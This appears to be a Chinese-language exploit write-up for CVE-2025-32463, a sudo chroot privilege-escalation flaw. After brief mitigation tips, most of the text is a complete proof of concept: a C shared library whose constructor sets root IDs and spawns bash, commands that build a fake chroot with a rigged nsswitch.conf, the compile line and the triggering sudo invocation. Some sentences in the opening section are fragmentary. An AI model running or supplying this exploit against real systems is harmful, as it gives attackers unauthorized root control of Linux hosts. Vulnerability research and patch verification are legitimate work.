sudo 中存在一个影响 Linux/Unix 系统的权限提升漏洞。该缺陷源于当 sudo 与 -R(--chroot)选项一起使用时存在不正确的路径验证,允许攻击者通过恶意 NSS 库加载来提升至 root 权限。
sudo 在 chroot 环境(-R 选项)内执行命令时,它在错误条件下错误处理了 NSS(名称服务开关)库加载。LD_LIBRARY_PATH 或 /etc/nsswitch.conf 中的路径)可能导致加载恶意库而不是合法的 NSS 库(例如 libnss_files.so)。sudo 到最新的已修补版本。sudo 权限(尽可能限制 chroot 的使用)。LD_LIBRARY_PATH。/etc/nsswitch.conf。/etc/sudoers 中强制设置 secure_path 以限制库搜索路径。| 组件 | 漏洞触发条件 |
|---|---|
sudo -R | 不正确的 chroot 路径验证。 |
| NSS | 错误期间不安全的库加载。 |
| 漏洞利用 | 路径劫持 → 恶意库加载。 |
CVE ID:CVE-2025-32463
受影响版本:Sudo 1.9.14 至 1.9.17
CVSS 评分:9.8(严重)
影响:本地权限提升至 root
如果它响应 No such file or directory,则存在漏洞:
sudo -R invalid invalid
sudo: invalid: No such file or directory
首先,我们创建一个临时目录用于工作:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
这会创建一个唯一命名的临时目录并进入其中。mktemp 命令确保我们不会干扰现有的系统文件。
我们需要创建一个 C 文件(bridge90.c),该文件将被编译为恶意库:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // 将真实和有效用户 ID 设置为 root
setregid(0,0); // 将真实和有效组 ID 设置为 root
chdir("/"); // 切换到根目录
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // 执行 shell
}
关键组件:
__attribute__((constructor)) 确保函数在库加载时运行
setreuid 和 setregid 将权限提升至 root
execl 生成一个 bash shell
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
说明:
在 bridge/etc 中创建一个伪造的 chroot 环境
修改 nsswitch.conf 以指向我们的恶意路径
复制真实的 /etc/group 文件以保持合法性
为我们的恶意库创建一个目录
将 C 代码编译为与 NSS(名称服务开关)约定匹配的共享库
sudo -R bridge bridge
此命令尝试使用我们精心构造的环境:
第一个 bridge 是包含我们恶意配置的 chroot 目录
第二个 bridge 是要运行的命令(它将加载我们的库)
成功利用后,验证 root 访问权限:
whoami # 应返回 "root"
id -u # 应返回 "0"(root 的 UID)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]此 PoC 漏洞利用仅用于教育目的!对于您使用此漏洞利用可能造成的任何滥用,我不承担任何责任!